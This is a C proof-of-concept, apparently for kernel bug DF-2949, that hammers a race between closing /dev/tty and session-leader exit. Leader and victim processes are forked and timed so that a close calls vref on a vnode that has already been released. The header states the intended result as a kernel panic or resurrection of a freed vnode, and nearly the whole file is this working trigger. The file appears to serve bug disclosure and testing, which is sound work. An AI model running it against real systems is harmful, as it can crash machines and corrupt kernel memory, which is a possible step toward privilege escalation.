/*
 * DF-2949 PoC — final hammer.
 *
 * One session per iteration:
 *   L  (leader): setsid + pty + TIOCSCTTY, then _exit(0) on GO.
 *      exit1 -> ttywait -> ttyclosesession(S, 1)  [tty.c:328]
 *        367: s_ttyvp = NULL
 *        369: vclrflags(vp, VCTTYISOPEN)
 *        370: VOP_CLOSE
 *        372: vn_unlock
 *        374: vrevoke(vp)   (force-closes every fd on the tty vnode)
 *        379: vrele(vp)     <- terminal reference drop
 *   Vi (victims, same session): open /dev/tty pre-GO; spin to
 *      GO+delta+i*30us; close()  -> last /dev/tty fd -> cttyclose
 *      [tty_tty.c:153..159]: unlocked read of cttyvp(), unlocked read of
 *      VCTTYISOPEN, then vref(ttyvp).
 *
 * A victim descheduled between the flag read (:155) and the vref (:159)
 * that resumes after L's :379 vrele executes vref() with v_refcnt == 0 /
 * v_state == VS_INACTIVE -> "vref: bad refcnt" panic (vfs_lock.c:269)
 * on INVARIANTS kernels, or resurrects a freelist vnode on stock kernels.
 *
 * Benign overlap signal: "Warning: cttyclose: race avoided" (tty_tty.c:167)
 * plus close durations >> 100us (blocked at :160 through the teardown).
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>

#define NVICTIM 6
#define STAGGER_US 30

static int gopipe[2];
static long base_us = 700;

static double
now(void)
{
	struct timeval tv;
	gettimeofday(&tv, NULL);
	return (tv.tv_sec + tv.tv_usec / 1e6);
}

static void leader(void);
static void victim(int id);

static void
leader(void)
{
	char sname[128];

	if (setsid() < 0) _exit(1);
	int m = posix_openpt(O_RDWR | O_NOCTTY);
	if (m < 0) _exit(1);
	char *s = ptsname(m);
	if (s == NULL) _exit(1);
	snprintf(sname, sizeof(sname), "%s", s);
	int sl = open(sname, O_RDWR | O_NOCTTY);
	if (sl < 0) _exit(1);
	if (ioctl(sl, TIOCSCTTY, 0) < 0) _exit(1);
	for (int v = 0; v < NVICTIM; v++) {
		pid_t p = fork();
		if (p == 0)
			victim(v);
	}
	char c;
	read(gopipe[0], &c, 1);
	_exit(0);
}

static void
victim(int id)
{
	char c;
	int fd;
	double tgo, target, t0, t1, dur;
	char buf[160];
	int n, df;
	unsigned int seed = getpid();

	signal(SIGHUP, SIG_IGN);
	fd = open("/dev/tty", O_RDWR);
	read(gopipe[0], &c, 1);
	tgo = now();
	target = tgo + (base_us + id * STAGGER_US +
			 (seed % 200) - 100) * 1e-6;
	while (now() < target)
		;
	t0 = now();
	if (fd >= 0)
		close(fd);
	t1 = now();
	dur = (t1 - t0) * 1e6;
	if (dur > 150) {			/* log only blocked/odd closes */
		n = snprintf(buf, sizeof(buf),
			     "V%d d=%.6f dur=%.1f fd=%d\n",
			     id, t0 - tgo, dur, fd);
		df = open("/tmp/diag.log", O_WRONLY | O_APPEND | O_CREAT, 0644);
		if (df >= 0) { write(df, buf, n); close(df); }
	}
	_exit(0);
}

int
main(int argc, char **argv)
{
	long iters = (argc > 1) ? atol(argv[1]) : 100000000;
	long k;

	if (argc > 2)
		base_us = atol(argv[2]);
	pipe(gopipe);
	for (k = 0; k < iters; k++) {
		pid_t l = fork();
		if (l == 0)
			leader();
		write(gopipe[1], "gggggg", NVICTIM);
		int st;
		waitpid(l, &st, 0);
		if ((k % 500) == 0) {
			fprintf(stderr, "iter %ld\n", k);
			fflush(stderr);
		}
	}
	return (0);
}
